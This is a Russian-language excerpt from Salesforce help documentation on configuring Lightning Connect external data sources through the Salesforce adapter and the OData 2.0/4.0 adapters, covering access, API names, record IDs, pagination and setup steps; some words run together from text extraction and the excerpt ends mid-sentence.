Доступ пользователя к внешним данным в Lightning Connect: адаптер Salesforce

Доступ пользователя к внешним данным определяется параметрами организаций подписчика и поставщика.

СМ. ТАКЖЕ:

Lightning Connect

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

Рекомендации по использованию Lightning Connect: адаптер Salesforce

Организации подписчика и поставщика в Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Организация поставщика хранит данные, доступные организации подписчика.

Внешнийисточникданныхивнешниеобъектыопределяютсяворганизацииподписчика.
Внешние объекты и их поля могут создаваться вручную или автоматически (путем
синхронизации метаданных организации поставщика). При просмотре или поиске
данных внешних объектов в организации подписчика данные извлекаются из
организации поставщика и отображаются в организации подписчика.

• Организация может выступать в качестве подписчика и поставщика.

• Организация подписчика может получать доступ к данным от разных организаций
поставщика.

• Организацияпоставщикаможетпредоставлятьдоступкданнымразныморганизациям
подписчика.

СМ. ТАКЖЕ:

Адаптер Salesforce для Lightning Connect
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API-имена для внешних объектов и настраиваемых полей в Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При создании внешних объектов и настраиваемых полей в организации подписчика
посредством синхронизации их API-имена извлекаются из соответствующих API-имен
в организации поставщика.

API-имя каждого внешнего объекта заканчивается суффиксом __x. API-имена
настраиваемых полей внешних объектов используют традиционный суффикс __c.
При синхронизации объектов и настраиваемых полей посредством адаптера Salesforce
для Lightning Connect:

• Если API-имяне содержит суффикс ворганизациипоставщика, то API-имяповторно
используется в организации подписчика, но дополняется суффиксом __x  (для
объекта) или __c  (для поля).

• Если API-имя содержит суффикс в организации поставщика, то API-имя повторно
используется в организации подписчика. При этом удаляется один из символов
подчеркивания (_) из исходного суффикса, но добавляется новый суффикс __x
или __c.

Пример: При синхронизации объекта Account организации поставщика организация подписчика создает:

• Внешний объект с API-именем Account__x

• Настраиваемые поля, включая поле с API-именем Account__x.Name__c

При синхронизации объекта CustObj__c организации поставщика организация подписчика создает:

• Внешний объект с API-именем CustObj_c__x

• Настраиваемые поля, включая поле с API-именем CustObj_c__x.Name__c

Если объект организации поставщика содержит настраиваемое поле, то организация подписчика создает
настраиваемое поле для эквивалентного внешнего объекта. Например:

• Account__x.MyCustField_c__c

• CustObj_c__x.MyOtherCustField_c__c

При синхронизации внешнего объекта Account__x организации поставщика организация подписчика создает:

• Внешний объект с API-именем Account_x__x

• Настраиваемые поля, включая поле с API-именем Account_x__x.Name_c__c

СМ. ТАКЖЕ:

Адаптер Salesforce для Lightning Connect
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Коды записей и внешние коды для внешних объектов в Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Коды записей для внешних объектов извлекаются из соответствующих кодов записей
в организации поставщика. Значения внешнего кода в записях внешних объектов
соответствуют кодам записей в организации поставщика.

Каждыйобъект Salesforceимеет кодобъекта, первые трисимвола которогоиспользуются
как ключевойпрефикс. Уникальныйключевойпрефиксназначается внешнемуобъекту
при создании.

Каждая запись внешнего объекта имеет код записи, ключевой префикс которого
соответствует коду внешнего объекта. Остальная часть кода записи внешнего объекта
соответствует исходному коду записи в организации поставщика, кроме исходного
ключевого префикса.

Каждый код записи, извлекаемый из организации поставщика, преобразуется в
организации подписчика в строку, состоящую из 18 нечувствительных к регистру
символов.

Кроме того, исходный код записи доступен в организации подписчика как значение
стандартного поля «Внешний код» в записи внешнего объекта.

Каждый внешний объект содержит стандартное поле «Внешний код». Его значения однозначно определяют каждую
запись внешнегообъекта в организации.Если внешнийобъект во взаимосвязи внешнегопоиска является родительским,
то стандартное поле «Внешний код» используется для идентификации дочерней записи.

Пример: При синхронизации объекта Account организации поставщика объекту Account__x организации
подписчика назначается ключевой префикс x00. Запись объекта Account в организации поставщика с кодом
001B0000003SVC7IAO отображается в организации подписчика с кодом x00B0000003SVC7IAO и внешним кодом
001B0000003SVC7IAO.

СМ. ТАКЖЕ:

Адаптер Salesforce для Lightning Connect

Доступ пользователя к внешним данным в Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступ пользователя к внешним данным определяется параметрами организаций
подписчика и поставщика.

Регистрационные данные, используемые для подключения к организации поставщика,
связаны с пользователем в организации поставщика. Данный пользователь называется
подключенным пользователем.

Пользователюворганизацииподписчикамогутбытьдоступнытолькоданные, доступные
подключенному пользователю внутри организации поставщика. Другими словами,
доступ пользователя в организации подписчика не нарушает ограничения доступа
подключенного пользователя, которые определяются данными параметрами в
организации поставщика.

• Безопасность объекта (наборы полномочий и профили)

• Безопасность поля (наборы полномочий и профили)

• Безопасность записи (единыепараметрыобщегодоступа, иерархииролейиправила
общего доступа)
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В организации подписчика доступ к внешним объектам может быть предоставлен пользователям посредством наборов
полномочий и профилей.

СМ. ТАКЖЕ:

Адаптер Salesforce для Lightning Connect

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для создания и редактирования внешних
источников данных:

«Настройка приложения»Для создания и редактирования внешних
объектов:

«Настройка приложения»Для определения или изменения справки
объекта:

«Настройка приложения»Для создания и редактирования
настраиваемых полей:

«Управление профилями и наборами
полномочий»

Для редактирования наборов полномочий
и профилей пользователей:

«Управление пользователями»Для редактирования параметров проверки
подлинности другого пользователя для
внешних систем:

Разрешитепользователямполучать комплексноепредставлениеданныхвдругихорганизациях Salesforce для составления
полной картины по деятельности компании. Пользователям доступна быстрая и удобная настройка адаптера Salesforce
для Lightning Connect посредством интерактивных инструментов.

Чтобы настроить Lightning Connect с адаптером Salesforce, выполните указанные ниже действия.

1. Определите внешний источник данных типа «Lightning Connect: Salesforce».

Создайте внешний источник данных для каждой организации поставщика.

2. Создайте внешние объекты.

Выполните данное действие только при условии отмены синхронизации для автоматического создания внешних
объектов.Создайтевнешнийобъектворганизацииподписчикадлякаждогонужногообъектаворганизациипоставщика.

3. Создайте содержимое справки для внешних объектов.

Помогите пользователям различать внешние и другие объекты, которые могут иметь похожие имена и типы данных,
ворганизацииподписчика. Создайте страницыVisualforceдляописаниявнешнихобъектов ворганизацииподписчика.
Ссылка «Справка для этой страницы», выбранная пользователем при просмотре внешнего объекта, позволяет
просмотреть содержимое настраиваемой справки.

4. Добавьте настраиваемые поля и взаимосвязи во внешние объекты.
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Создайтевзаимосвязимеждуобъектами. Приотменесинхронизациидляавтоматическогосозданиявнешнихобъектов
иихполейворганизацииподписчикасоздайтенастраиваемоеполедлякаждогонужногополяорганизациипоставщика.

5. Предоставьте пользователям доступ к внешним объектам.

Предоставьте полномочия объекта посредством наборов полномочий или профилей.

6. Предоставьте пользователям доступ к полям внешних объектов.

Предоставьте полномочия поля посредством наборов полномочий или профилей.

7. Если внешний источник данных использует индивидуальную проверку подлинности, выполните указанные ниже
действия.

a. Разрешите пользователям выполнять проверку подлинности во внешней системе.

Предоставьте пользователям доступ к параметрам проверки подлинности для внешнего источника данных
посредством наборов полномочий или профилей.

b. Настройте параметры проверки подлинности каждого пользователя.

Данное действие может быть выполнено администратором или пользователями.

Совет: Рекомендуем обучить пользователей процессу настройки параметров проверки подлинности для
внешних систем. Убедитесь, что пользователи понимают, какие регистрационные данные следует вводить
для организации поставщика. При использовании OAuth 2.0 процесс OAuth отображает страницу входа
Salesforce дважды: сначала при входе в организациюпоставщика для получениямаркера доступа, а затем при
повторном входе в организацию подписчика. Рекомендуем протестировать процесс OAuth на наличие
потенциально бесполезных напоминаний или переадресаций, а также обучить пользователей должным
образом. Доступныепроцессы OAuth определяютсяиспользуемойвнешнейсистемой, текущимпоставщиком
проверки подлинности и выбранными областями.

СМ. ТАКЖЕ:

Адаптер Salesforce для Lightning Connect

Рекомендации по использованию Lightning Connect: адаптер Salesforce

Руководство разработчика: руководство разработчика Visualforce

Взаимосвязи внешних объектов

Организации подписчика и поставщика в Lightning Connect: адаптер Salesforce
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Определение внешнего источника данных для Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования внешних
источников данных:
• «Настройка

приложения»

Разрешите пользователям получать комплексное представление данных, доступных в
организациях Salesforce.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Чтобы создать внешний источник данных, нажмите кнопку «Создать внешний
источникданных». Чтобыизменитьтекущийвнешнийисточникданных, щелкните
ссылку «Правка».

3. Заполните поля.

ОписаниеПоле

Понятное имя внешнего источника данных. Метка
отображается в пользовательском интерфейсе Salesforce
(например, в списковых представлениях).

При назначении параметру «Тип удостоверения» значения
«Напользователя» даннаяметкаотображаетсяприпросмотре
или редактировании параметров проверки подлинности для
внешних систем.

Метка

Уникальный идентификатор, используемый для обращения
копределениювнешнегоисточникаданныхпосредством API.

Имя может содержать только буквы, цифры и символы
подчеркивания. Кроме того, оно должно начинаться с буквы;

Имя

не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться
символом подчеркивания.

Выберите значение «Lightning Connect: Salesforce».Тип

Данное поле определяет URL-адрес, используемый для
подключения к организации поставщика.

Подключение к

При заполнении поля «Подключение к» значением
«Настраиваемый URL-адрес» введите URL-адрес входа для
организации поставщика.

URL-адрес

Выберите версию API, поддерживаемую организацией
поставщика. Версия API определяет объекты, поля и типы

Версия API

организации поставщика, доступные пользователям из
организации подписчика.

Количество секунд, используемое для ожидания ответа от
организации поставщика перед истечением срока действия.

Время ожидания
подключения

Поумолчаниюиспользуетсямаксимальное значение, равное
120 секундам.
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ОписаниеПоле

Данноеполеопределяетнеобходимостьпоискаданныхвнешнихобъектов, хранящихся
в организации поставщика, посредством глобальных поисков в организации
подписчика.

Поиск может охватывать только поля текста, области текста и области подробного
текста внешних объектов. При отсутствии полей, доступных для поиска, поиски по
внешнему объекту не возвращают записи.

Добавить в поиски
Salesforce

Данное поле определяет необходимость использования организацией подписчика
одного или нескольких наборов регистрационных данных для доступа к организации

Тип удостоверения

поставщика. См. раздел «Тип удостоверения для внешних источников данных» на
странице 5411.

4. Выберите нужный протокол проверки подлинности.

• При выборе значения «Проверка подлинности паролей» введите имя пользователя и пароль для доступа к
внешней системе.

• При выборе значения «OAuth 2.0» заполните поля ниже.

ОписаниеПоле

Выберите нужного поставщика проверки подлинности Salesforce. См. раздел
«Настройка поставщика проверки подлинности Salesforce» справки Salesforce.

Поставщик проверки
подлинности

Выберитеобластьполномочийдляотправкизапросанамаркердоступа.Допустимые
значения определяются поставщиком проверки подлинности. См. раздел
Использование параметра Scope на странице 1051.

Область

Прим.:

– Введенное значение заменяет значение поля «Стандартные области»,
заданное в указанном поставщике проверки подлинности.

– Необходимость определения областей может влиять на необходимость
отображения страницы согласия каждым процессом OAuth.

– Рекомендуем пользователям запрашивать маркер обновления или
автономный доступ. В противном случае при истечении срока действия
маркера доступ к внешней системе отменяется.

Чтобы выполнить проверку подлинности на внешней системе и получить маркер
OAuth, отметьте флажком этот пункт. Данный процесс проверки подлинности
называется процессом OAuth.

При нажатии кнопки «Сохранить» внешняя система отображает запрос на
выполнение входа. После успешного входа внешняя система предоставляет
пользователю маркер OAuth для доступа к данным из текущей организации.

Начать процесс проверки
подлинности при
сохранении

Повторите процесс OAuth для создания маркера (например, при истечении срока
действиямаркера) илиредактированияполя «Область» или «Поставщик проверки
подлинности».
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5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Проверить и синхронизировать» и подтвердите успешность подключения.

При отображении сообщения об ошибке воспользуйтесь документами ниже.

• “Раздел «Status Codes and Error Responses» Руководства разработчика Force.com REST API

• Подразделы «API Fault Element», «ExceptionCode», «Error» и «StatusCode» раздела «Core Data Types Used in API Calls»
Руководства разработчика SOAP API

7. Принеобходимостивыберитетаблицыищелкните«Синхронизировать». Нижеперечисленыдействия, выполняемые
для каждой выбранной таблицы.

• Автоматическое создание внешнего объекта Salesforce.

• Автоматическое создание настраиваемого поля для каждого столбца таблицы, совместимого с типом поля
метаданных Salesforce.

Прим.: Прежде чем начать синхронизацию, просмотрите рекомендации, описанные в разделах ниже.

• Рекомендации по синхронизации для Lightning Connect: все адаптеры на странице 5416

• Рекомендации по синхронизации для Lightning Connect: адаптер Salesforce на странице 5417

Принеобходимостисоздайтенужныевнешниеобъектыинастраиваемыеполявручную. Данныйалгоритмпозволяет
настраивать имена внешних объектов, определять столбцы таблицы для создания настраиваемых полей и задавать
именанастраиваемыхполей. Темнеменее, данныйспособзанимаетбольшевремениидолженвыполнятьсявручную.

СМ. ТАКЖЕ:

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

Хранение параметров проверки подлинности для внешних систем

API-имена для внешних объектов и настраиваемых полей в Lightning Connect: адаптер Salesforce

Организации подписчика и поставщика в Lightning Connect: адаптер Salesforce

Руководство разработчика: руководство разработчика Force.com REST API

Рекомендации по использованию Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите особые алгоритмы, ограничения и рекомендации по использованию
адаптера Salesforce для Lightning Connect.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

Рекомендации по использованию API для Lightning Connect: адаптер Salesforce

Благодаря адаптеру Salesforce Lightning Connect использует вызовы Force.com REST API
для доступа к записям в других организациях Salesforce. В зависимости от способа
доступа к внешнему объекту, каждый вызов учитывается ограничениями на
использование API, применяемыми только организацией поставщика или
организациями поставщика и подписчика.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры
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Рекомендации по использованию API для Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Благодаря адаптеру Salesforce Lightning Connectиспользует вызовы Force.com REST API для
доступа к записям в других организациях Salesforce. В зависимости от способа доступа
к внешнему объекту, каждый вызов учитывается ограничениями на использование API,
применяемыми только организацией поставщика или организациями поставщика и
подписчика.

При получении доступа к внешнему объекту одним из способов ниже вызов Force.com
REST API учитываетсяограниченияминаиспользованиеAPI, применяемымиорганизацией
поставщика.

• Открытие спискового представления записей внешнего объекта.

• Просмотр страницы сведений о записи внешнего объекта.

• Просмотр записи родительского объекта, содержащей связанный список внешнего
объекта.

• Выполнение поиска, охватывающего внешние объекты.

• Доступ к внешнемуобъектуизпотока, страницыVisualforce, классаApexилитриггера
Apex.

• Редактирование сведений о записи внешнего объекта.

Доступ к внешнему объекту, выполняемый пользователем или системой посредством SOAP API, Bulk API или Force.com
REST API, учитывается ограничениями на использование API, применяемыми организациями поставщика и подписчика.

СМ. ТАКЖЕ:

Краткое справочное руководство по ограничениям Salesforce

Рекомендации по использованию Lightning Connect: адаптер Salesforce

Lightning Connect: OData 2.0 — доступ к внешним данным посредством OData

Адаптер OData 2.0 или 4.0 для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Подключение к служебной системе позволяет получать полное представление о
деятельности компании. С помощью адаптера OData 2.0 или 4.0 Lightning Connect
использует OData версии 2.0 или 4.0 для доступа к данным, хранящимся вне системы
Salesforce.

Пользователи и платформа Force.com взаимодействуют с внешними данными
посредством внешних объектов. Lightning Connect преобразует каждое такое
взаимодействие в запрос OData, содержащий соответствующие параметры для
фильтрациирезультатов. Нижеперечисленыусловия, привыполнениикоторыхсистема
Salesforce отправляет запрос OData во внешнюю систему.

• Пользователь выбирает вкладку внешнего объекта для спискового представления.

• Пользователь просматривает страницу сведений о записи внешнего объекта.

• Пользователь просматривает страницу сведений о записи родительского объекта,
содержащую связанный список дочерних записей внешнего объекта.

• Пользователь выполняет глобальный поиск по системе Salesforce или приложению
Salesforce1.
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• Внешний объект опрашивается посредством потоков, интерфейсов API, Apex, SOQL или SOSL.

• Пользователь создает, редактирует или удаляет запись внешнего объекта. (This doesn’t apply to the Salesforce adapter.)

Адаптер OData 2.0 для Lightning Connectможетполучать доступ к внешнимданным, предоставленнымпосредствомслужб,
которые называются поставщиками OData. Дополнительную информацию о поставщиках OData см. на веб-узле
www.odata.org.

Внешние коды и ключи объектов OData

Приполучениидоступаквнешнимданнымпосредствомадаптера OData 2.0 для Lightning Connect значениястандартного
поля «Внешнийкод» внешнегообъектаизвлекаютсянаоснованииключаобъекта, заданноговдокументеметаданных
службы OData.

Пагинация под управлением клиента и сервера для Lightning Connect: адаптер OData 2.0

Какправило, запросы Lightning Connect для внешнихданныхвозвращаютбольшойрезультирующийнабор, который
разбивается на более мелкие пакеты или страницы.Способ управления алгоритмами пагинации — внешняя система
(под управлением сервера) или адаптер OData 2.0 для Lightning Connect (под управлением клиента) — выбирается
самостоятельно.

СМ. ТАКЖЕ:

Lightning Connect

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect

Рекомендации по использованию Lightning Connect: адаптеры OData 2.0 и 4.0

Справочник OData для Lightning Connect — адаптеры OData 2.0 и 4.0

Внешние коды и ключи объектов OData

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Приполучениидоступа к внешнимданнымпосредствомадаптера OData 2.0 для Lightning
Connect значения стандартного поля «Внешний код» внешнего объекта извлекаются на
основании ключа объекта, заданного в документе метаданных службы OData.

Каждыйвнешнийобъект содержит стандартноеполе «Внешний код». Its values uniquely
identify each external object record in your org. Если внешний объект во взаимосвязи
внешнего поиска является родительским, то стандартное поле «Внешний код»
используется для идентификации дочерней записи.

Важное замечание: Не вводите конфиденциальные данные в стандартное поле
«Внешний код», поскольку система Salesforce может записывать значения этого
поля.

• Поля взаимосвязи внешнего поиска в дочерних записях сохраняют и
отображают значения полей «Внешний код» родительских записей.

• Исключительно для внутреннего пользования система Salesforce сохраняет
значениеполя «Внешнийкод»каждойстроки, полученнойизвнешнейсистемы.
Этот принцип не применяется к внешним объектам, связанным с крупными
внешними источниками данных.

Данное списковое представление для внешнего объекта Order_Detail отображает значения поля «Внешний код».

5447

Интеграция внешних данныхРасширение Salesforce посредством интерактивных
инструментов

http://www.odata.org


Каждое значение поля «Внешний код» извлекается на основании ключа объекта, заданного в документе метаданных
службы OData для службы удаленных данных (поставщика OData). Ключ объекта формируется из набора свойств типа
объекта.

Данныйфрагмент из документа метаданных службы OData показывает, что значения поля «Внешний код» для внешнего
объекта Order_Detail извлекаются из свойств OrderID и ProductID.

<EntityType Name="Order_Detail">
<Key>
<PropertyRef Name="OrderID"/>
<PropertyRef Name="ProductID"/>

</Key>
<Property Name="OrderID" Type="Edm.Int32" Nullable="false"/>
<Property Name="ProductID" Type="Edm.Int32" Nullable="false"/>
<Property Name="UnitPrice" Type="Edm.Decimal" Nullable="false" Precision="19" Scale="4"/>

<Property Name="Quantity" Type="Edm.Int16" Nullable="false"/>
<Property Name="Discount" Type="Edm.Single" Nullable="false"/>

...

Данная страница сведенийо записиотображаетполя OrderID и ProductID. Ихзначенияформируютзначение стандартного
поля «Внешний код».

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect
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Пагинация под управлением клиента и сервера для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Как правило, запросы Lightning Connect для внешних данных возвращают большой
результирующий набор, который разбивается на более мелкие пакеты или страницы.
Способ управления алгоритмами пагинации — внешняя система (под управлением
сервера) или адаптер OData 2.0 для Lightning Connect (под управлением клиента) —
выбирается самостоятельно.

По умолчанию адаптер OData 2.0 для Lightning Connect использует пагинацию под
управлением клиента. Так, запросы OData используют системные параметры запроса
$top и $skip для пагинации результирующего набора.

При использовании пагинации под управлением сервера внешняя система определяет
размеры страницы и границы пакета. Параметры пагинации внешней системы могут
оптимизировать производительность внешней системы и сократить время загрузки
внешних объектов в организацию. Кроме того, пагинация результирующего набора
пользователями или платформой Force.com может инициировать изменение набора
внешних данных. Как правило, пагинация под управлением сервера корректирует
границы пакета для обеспечения более эффективного изменения наборов данных, чем
пагинация под управлением клиента.

Поле «Пагинация под управлением сервера» внешнего источника данных определяет необходимость использования
пагинации под управлением клиента или сервера. При включении пагинации под управлением сервера для внешнего
источника данных внешняя система пропускает любые границы пакета или размеры страницы, указанные в запросах.
Тем не менее, ограничения для адаптера OData 2.0 для Lightning Connect применяются без изменений.

СМ. ТАКЖЕ:

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Общие ограничения для Lightning Connect: адаптер OData 2.0

Параметры строки запроса OData

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для создания и редактирования внешних
источников данных:

«Настройка приложения»Для создания и редактирования внешних
объектов:

«Настройка приложения»Для определения или изменения справки
объекта:

«Настройка приложения»Для создания и редактирования
настраиваемых полей:

«Управление профилями и наборами
полномочий»

Для редактирования наборов полномочий
и профилей пользователей:

«Управление пользователями»Для редактирования параметров проверки
подлинности другого пользователя для
внешних систем:
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Разрешите пользователям просматривать и искать данные, хранящиеся вне организации Salesforce (например, данные из
системы планирования бизнес-ресурсов).

Чтобы настроить Lightning Connect с адаптером OData 2.0 или 4.0, выполните указанные ниже действия.

1. Определите внешнийисточник данных типа «Lightning Connect: OData 2.0или Lightning Connect:
OData 4.0.

Если внешняя система размещает несколько служб, создайте внешнийисточник данных для каждой конечной точки
службы. Каждая конечная точка службыуказываетна корневой URL-адрес службы OData иможетпредоставлять доступ
к коллекциям объектов. Например, создайте отдельный внешний источник данных для каждой из конечных точек
службы ниже.

• http://services.example.org/Warehouse.svc

• https://services.example.org/Payroll.svc

2. Создайте внешние объекты.

Выполните данное действие только при условии отмены синхронизации для автоматического создания внешних
объектов. Создайте внешний объект для каждой таблицы внешних данных, которая должна быть доступна из
организации Salesforce.

3. Создайте содержимое справки для внешних объектов.

Создайте страницы Visualforce для описания внешних данных. Ссылка «Справка для этой страницы», выбранная
пользователем при просмотре внешнего объекта, позволяет просмотреть содержимое настраиваемой справки.
Помните, что справка Salesforce не содержит информацию о внешних данных.

4. Добавьте настраиваемые поля и взаимосвязи во внешние объекты.

Создайтевзаимосвязимеждуобъектами. Приотменесинхронизациидляавтоматическогосозданиявнешнихобъектов
и их полей создайте настраиваемое поле для каждого столбца внешней таблицы, который должен быть доступен из
организации Salesforce.

5. Предоставьте пользователям доступ к внешним объектам.

Предоставьте полномочия объекта посредством наборов полномочий или профилей.

6. Предоставьте пользователям доступ к полям внешних объектов.

Предоставьте полномочия поля посредством наборов полномочий или профилей.

7. Если внешний источник данных использует индивидуальную проверку подлинности, выполните указанные ниже
действия.

a. Разрешите пользователям выполнять проверку подлинности во внешней системе.

Предоставьте пользователям доступ к параметрам проверки подлинности для внешнего источника данных
посредством наборов полномочий или профилей.

b. Настройте параметры проверки подлинности каждого пользователя.

Данное действие может быть выполнено администратором или пользователями.

Совет: Рекомендуем обучить пользователей процессу настройки параметров проверки подлинности для
внешних систем. Убедитесь, что пользователи понимают какие регистрационные данные следует вводить
для каждой внешней системы. Прииспользовании OAuth 2.0 рекомендуемпротестировать процесс OAuth на
наличие потенциально бесполезных напоминаний или переадресаций, а также обучить пользователей
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должным образом. Доступные процессы OAuth определяются используемой внешней системой, текущим
поставщиком проверки подлинности и выбранными областями.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Руководство разработчика: руководство разработчика Visualforce

Взаимосвязи внешних объектов

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования внешних
источников данных:
• «Настройка

приложения»

ОрганизацияSalesforceможетбыть связана сданными, хранящимисявовнешнейсистеме
(например, SAP® NetWeaver Gateway, Microsoft Dynamics® NAV или IBM WebSphere®).

Прим.:

• Доступ к внешним данным должен предоставляться посредством службы,
использующей OData 2.0 или 4.0. Подобная служба называется поставщиком
OData.

• URL-адрес доступа к поставщику OData должен быть доступен серверам
приложений Salesforce посредством Интернета. Чтобы предоставить доступ,
добавьте IP-адреса серверов Salesforce в список разрешенных или настройте
XML-шлюз обратного прокси-сервера.

• Параметры настройки доступности данных определяются внешней системой.
ЧтобыопределитьоптимальныепараметрыдляинтеграцииссистемойSalesforce,
просмотрите документацию по внешней системе.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Чтобы создать внешний источник данных, нажмите кнопку «Создать внешний
источникданных». Чтобыизменитьтекущийвнешнийисточникданных, щелкните
ссылку «Правка».

3. Заполните поля.

ОписаниеПоле

Понятное имя внешнего источника данных. Метка
отображается в пользовательском интерфейсе Salesforce
(например, в списковых представлениях).

При назначении параметру «Тип удостоверения» значения
«Напользователя» даннаяметкаотображаетсяприпросмотре

Метка

или редактировании параметров проверки подлинности для
внешних систем.
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ОписаниеПоле

Уникальныйидентификатор, используемыйдляобращениякопределениювнешнего
источника данных посредством API.

Имя может содержать только буквы, цифры и символы подчеркивания. Кроме того,
онодолжноначинатьсясбуквы; неможетсодержатьпробеловидвухпоследовательных
символов подчеркивания, а также не может заканчиваться символом подчеркивания.

Имя

Выберите значение «Lightning Connect: OData 2.0 или Lightning Connect: OData 4.0.Тип

Корневой URL-адрес службы OData. Убедитесь в экранировании всех специальных
символов.

Каждая конечная точка службытребует наличия собственногоопределения внешнего
источника данных, но один корневой URL-адрес службы может использоваться

URL-адрес

несколькими объектами. Дополнительную информацию см. на веб-узле
www.odata.org.

Примеры:

• http://services.example.org/Warehouse.svc

• https://services.example.org/Payroll.svc

Если конечная точка задана в именованных регистрационных данных, введите URL
именованных регистрационных данных. URL именованных регистрационных данных
содержит схему callout:, имя именованных регистрационных данных и
необязательный путь. Например: callout:My_Named_Credential/some_path.

Если вы введете URL именованных регистрационных данных, пропустите раздел
Проверка подлинности для внешнего источника данных. Чтобы получить доступ к
внешнейсистеме, Lightning Connectиспользует этипараметрыпроверкиподлинности,
которые определяются в именованных регистрационных данных.

Количество секунд, используемое для ожидания ответа от внешней системы перед
истечением срока действия.По умолчанию используется максимальное значение,
равное 120 секундам.

В зависимости от доступности внешней системы и используемого подключения,
операцияизвлечениявнешнихданныхможет занять слишкоммноговремени. Данное
полепозволяетограничиватьвремяожиданиязагрузкивнешнихданныхворганизацию.

Время ожидания
подключения

Позволяетпользователямсоздавать, обновлятьилиудалять записиовнешнихобъектов
для этого источника данных средствами Salesforce. По умолчанию внешние объекты
используются только для чтения.

Разрешить создание,
изменение и удаление

Система Salesforceприменяетограниченияпочастотеизвлеченияипросмотра данных
из внешних систем. Если организация превышает ограничения по частоте при

Большой объем данных

просмотре внешних объектов, связанных с данным внешним источником данных,
рекомендуем установить данныйфлажок. Данное действие позволяет пропускать
большинство ограничений. Тем не менее, внешние объекты, связанные с внешними
источниками данных большого объема, не поддерживаются приложением Salesforce1
и лентами записей. См. раздел «Рекомендации по использованию ограничений по
частоте запросов OData для Lightning Connect: адаптер OData 2.0» на странице 5458.

5452

Интеграция внешних данныхРасширение Salesforce посредством интерактивных
инструментов

http://www.odata.org


ОписаниеПоле

При использовании версии Enterprise Edition, Performance Edition или Unlimited Edition
внешниеисточники данных большого объема ограничиваются 10 000 запросов OData
в час. Более высокие ограничения доступны по запросу.

Как правило, запросы Lightning Connect для внешних данных возвращают большой
результирующий набор, который разбивается на более мелкие пакеты или страницы.

Пагинация под
управлением сервера

Выберите данный параметр для предоставления внешней системе возможности
управления алгоритмамипагинации.См. раздел «Пагинацияпод управлениемклиента
и сервера для Lightning Connect: адаптер OData 2.0» на странице 5449.

Данное поле добавляет системный параметр запроса $inlinecount=allpages в
